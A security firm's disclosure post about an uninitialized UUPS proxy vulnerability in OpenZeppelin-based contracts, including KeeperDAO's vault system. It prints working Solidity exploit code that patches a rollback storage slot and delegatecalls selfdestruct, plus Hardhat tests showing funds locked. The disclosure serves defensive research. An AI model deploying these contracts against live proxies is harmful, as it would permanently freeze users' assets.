UUPS Vulnerability Disclosed to OpenZeppelin

This blog post details research into an arbitrary `delegatecall` bug affecting certain proxy contracts which, if exploited, could lead to permanent state impairment and asset loss. iosiro security researcher [Ashiq Amien](https://twitter.com/AshiqAmien) disclosed this bug to 4 projects and helped prevent over $50m in losses.

- KeeperDAO: ~$44m worth of tokens
- Rivermen NFT: ~$6.95m worth of NFTs
- *redacted project*: <$2m worth of NFTs
- *redacted project*: <$500k worth of tokens

Due to the pervasiveness of the critical bug, we realized that it likely stemmed from an underlying issue, so we reached out to the OpenZeppelin team to share our concern with them. Fortunately, after contacting them, they notified us that they had recently been made aware of the vulnerability through another security researcher and were working on a fix to the affected library and remediating affected contracts. Read their post-mortem [here](https://forum.openzeppelin.com/t/uupsupgradeable-vulnerability-post-mortem/15680).

## TL;DR

- If you're using a UUPS proxy, you should initialize the logic contract *immediately*.
- OpenZeppelin released a fix for the `UUPSUpgradeable` library, which can be found [here](https://github.com/OpenZeppelin/openzeppelin-contracts/security/advisories/GHSA-5vp3-v4hc-gx76).

## Background

Using an arbitrary `delegatecall` with a `selfdestruct` instruction as an exploit is not a new bug pattern — [Breaking Aave Upgradeability](https://blog.trailofbits.com/2020/12/16/breaking-aave-upgradeability/) and [Temporary Polygon DoS](https://iosiro.com/blog/temporary-denial-of-service-vulnerability-disclosed-to-and-remediated-by-polygon) are two of many such disclosures. In both of the above cases, the proxy contract had external upgrade functions to update the underlying logic, restoring access to the underlying assets. However, certain factors contribute to making OpenZeppelin UUPS proxies more likely candidates to be exploited, and with a higher severity.

### How do you brick a proxy?

In general, when looking for `delegatecall` `selfdestruct` bugs in proxies, the checklist of items to look for is roughly the following:

1. Does the logic contract contain a `delegatecall` in any of its functions?
2. If yes, to what extent can we control it? Can we control the target? Can we control the data?

If we can control the target of the call, or if the predefined target contains `selfdestruct` functionality itself and we can control the data, then there is a good chance that the proxy contract can be bricked, at least temporarily. This is due to the proxy contract delegating instructions to an empty contract, resulting in no state changes when interacted with. The proxy can normally be restored by the contract owner upgrading the proxy to point at a new, protected logic contract.

### What's special about UUPS proxies?

Unlike transparent proxies, in which upgrade functionality is available on the proxy itself, UUPS proxies have upgrade functionality embedded into the logic contract. By calling the upgrade function, the storage slot on the proxy contract is updated to point to a new logic contract. This is usually access controlled, preventing unauthorized users from upgrading the contract. As a result, the logic contract will contain a `delegatecall` for the upgrade functionality, satisfying our first criterion.

If the logic contract is not initialized, it may be possible to take ownership of the logic contract by initializing it, which may provide the requisite permissions to call the upgrade functionality, and in turn, access `delegatecall`.

To further exacerbate the issue:

- By default, UUPS proxies do not have any external write functions, and therefore no way to restore access to the underlying assets.
- We came across an alarming number of instances of the bug, which was likely due to developers being unaware of how to safely deploy proxies, as well as the bug being introduced at deployment time, which made it unlikely to be reported during audits.

## Bug details and impact

Uninitialized logic contracts are commonplace, but they're generally not a problem as the logic contract state will not affect the proxy contract. However, in certain circumstances, the proxy can be influenced by the logic contract. An example of this is if the logic contract is destroyed through a call to `selfdestruct`. Here the proxy will call into an empty logic contract, rendering any assets stored in the proxy inaccessible. In the case of UUPS proxies, the assets may be permanently inaccessible due to the missing external write functions.

This was the case for Rivermen NFT and the two *redacted projects*. The exact exploit and impact for each of the disclosed projects were largely the same, with the impact being slightly more nuanced in the case of KeeperDAO, as detailed below.

### KeeperDAO bug details

[HidingVaultNFT](https://etherscan.io/address/0xce03849d56d7bf63c5fea2152488ee6d69684cbf#code) was the logic contract behind [HidingVaultNFTProxy](https://etherscan.io/address/0xe2ad581fc01434ee426bb3f471c4cb0317ee672e#code), which was found uninitialized. HidingVaultNFTProxy was a [UUPS proxy](https://docs.openzeppelin.com/contracts/4.x/api/proxy#UUPSUpgradeable), with the upgrade mechanism in the HidingVaultNFT logic contract. The mechanism was implemented correctly for the proxy itself, and [only the owner](https://etherscan.io/address/0xce03849d56d7bf63c5fea2152488ee6d69684cbf/advanced#code%23F1%23L27) could authorize legitimate upgrades. However, this function was also directly accessible to the logic contract owner, allowing calls to the `upgradeTo()` or `upgradeToAndCall()` functions:

<pre>
<code class="language-solidity">
function upgradeTo(address newImplementation) external virtual {
   _authorizeUpgrade(newImplementation);
   _upgradeToAndCallSecure(newImplementation, bytes(""), false);
}

function upgradeToAndCall(address newImplementation, bytes memory data) external payable virtual {
   _authorizeUpgrade(newImplementation);
   _upgradeToAndCallSecure(newImplementation, data, true);
}
</code>
</pre>

The `_authorizeUpgrade()` access control mechanism checked if the caller was the owner, but this could be bypassed since ownership of the logic contract was [transferred over when an attacker initializes the contract](https://etherscan.io/address/0xce03849d56d7bf63c5fea2152488ee6d69684cbf/advanced#code%23F22%23L33).

This upgrade mechanism did not set the implementation of the proxy since it was set directly in the logic contract, so an attacker could not steal the underlying assets. However, this did allow an attacker to `delegatecall` to a contract of their choice through `_upgradeToAndCallSecure()`. The `_upgradeToAndCallSecure()` function is shown below for reference:

<pre>
<code class="language-solidity">
function _upgradeToAndCallSecure(address newImplementation, bytes memory data, bool forceCall) internal {
   address oldImplementation = _getImplementation();

   // Initial upgrade and setup call
   _setImplementation(newImplementation);
   if (data.length > 0 || forceCall) {
       _functionDelegateCall(newImplementation, data);
   }

   // Perform rollback test if not already in progress
   StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
   if (!rollbackTesting.value) {
       // Trigger rollback using upgradeTo from the new implementation
       rollbackTesting.value = true;
       _functionDelegateCall(
           newImplementation,
           abi.encodeWithSignature(
               "upgradeTo(address)",
               oldImplementation
           )
       );
       rollbackTesting.value = false;
       // Check rollback was effective
       require(oldImplementation == _getImplementation(), "ERC1967Upgrade: upgrade breaks further upgrades");
       // Finally reset to the new implementation and log the upgrade
       _setImplementation(newImplementation);
       emit Upgraded(newImplementation);
   }
}
</code>
</pre>

The upgrade logic includes a rollback test to validate that the new implementation also has an upgrade mechanism. To disable the security check and perform the malicious `delegatecall`, the contract can be upgraded twice — first by patching the `rollbackTesting` storage and then by using `delegatecall` to call `selfdestruct`. The first `_functionDelegateCall()` in the `_upgradeToAndCallSecure()` function was used to patch the `rollbackTesting` state variable to avoid triggering the security check, with the `patchStorage()` function below:

<pre>
<code class="language-solidity">
function patchStorage() external {
   bytes32 _ROLLBACK_SLOT = 0x4910fdfa16fed3260ed0e7147f7cc6da11a60208b5b9406d12a635614ffd9143;
   StorageSlotUpgradeable.BooleanSlot storage rollbackTesting = StorageSlotUpgradeable.getBooleanSlot(_ROLLBACK_SLOT);
   rollbackTesting.value = true;
 }
</code>
</pre>

Once patched, an attacker could call `upgradeToAndCall()` again with any implementation and pass in the instructions to `delegatecall` `selfdestruct`, as shown below:

<pre>
<code class="language-solidity">
contract selfDestruct {
 function kill() external {
   Destructor des = new Destructor();
   (bool success, ) = address(des).delegatecall(abi.encodeWithSignature("destruct()"));
   require(success);
 }
}

contract Destructor {
 function destruct() external {
   selfdestruct(payable(msg.sender));
 }
}
</code>
</pre>

We can see that the logic contract is destroyed afterward by checking its bytecode:

<pre>
<code class="language-javascript">
logic bytecode before: 0x6080...
Patch the storage...
Delegatecall the selfdestruct...
logic bytecode after: 0x
   ✓ set new malicious implementation (655ms)
</code>
</pre>

It should be noted that this could have been exploited in several ways, even in a single upgrade call.

### Impact

An exploit of the vulnerability, as detailed, would destroy the logic contract and result in the proxy's `delegatecall` pointing to an empty contract.

While this was a critical risk by itself, the impact was further exacerbated as the HidingVaultNFTProxy contract was used to [generate vaults behind its own non-upgradeable proxy](https://etherscan.io/address/0xce03849d56d7bf63c5fea2152488ee6d69684cbf/advanced#code%23F21%23L14), whose logic contract was *[also* laid out in the proxy](https://etherscan.io/address/0xce03849d56d7bf63c5fea2152488ee6d69684cbf/advanced#code%23F21%23L50) according to the [`HidingVaultNFT`](https://etherscan.io/address/0xce03849d56d7bf63c5fea2152488ee6d69684cbf#code%23F22%23L17) storage layout. The following diagram demonstrates the concept:

An attacker could deploy a malicious contract with a `selfdestruct` function as described earlier to destroy the logic, which would brick the proxy and all associated vaults, as in the diagram below:

After the vault logic implementation was destroyed, users could no longer interact with it, and could thus not withdraw their funds. As an example, the [following transaction was replayed](https://etherscan.io/tx/0x813da76dbe0f5dc42356c4b8a777461fdfe2619d4222b94e87ece20934d85546/advanced) on block 12859813, and reverted if the exploit had taken place prior:

<pre>
<code class="language-javascript">
const vaultHolder = '0x97f6b9d7b870226a7a51e9f2d5637c51e4d00537';
await hre.network.provider.request({
 method: "hardhat_impersonateAccount",
 params: [vaultHolder]}
);
const vaultHolderSigner = await ethers.provider.getSigner(vaultHolder);
console.log("this is a normal users balance before withdraw: " + await provider.getBalance(vaultHolder));
let vaultInstance = await ethers.getContractAt("IKCompound", "0x75dd3aea288da693f515df39c4e66212e855971d");
let amt = '230055852685271198'.toString();
console.log("trying to withdraw after the proxy was bricked should revert...");
await expectRevert.unspecified(vaultInstance.connect(vaultHolderSigner).compound_withdraw("0x97F6B9d7B870226A7A51e9F2D5637C51e4d00537", "0x4Ddc2D193948926D02f9B1fE9e1daa0718270ED5", amt));
console.log("reverted");
</code>
</pre>

<pre>
<code class="language-javascript">
this is a normal users balance before withdraw: 190548975504396397
trying to withdraw after the proxy was bricked should revert...
reverted
   ✓ valid withdraw doesn't work after destroying the contract
</code>
</pre>

At the time of disclosure, the vaults held a total of 44 million USD, which would have been permanently inaccessible if the vulnerability was exploited.

## Conclusion

We thank the OpenZeppelin team for their immediate and positive response to the issue. Furthermore, we thank the teams behind the affected projects for remediating the issue and their respective bounty payouts.

We are now in discussions with KeeperDAO to aid their team with further security assessments.

If you’d like to get your smart contracts audited by an experienced team, reach out to us at hello@iosiro.com.

‍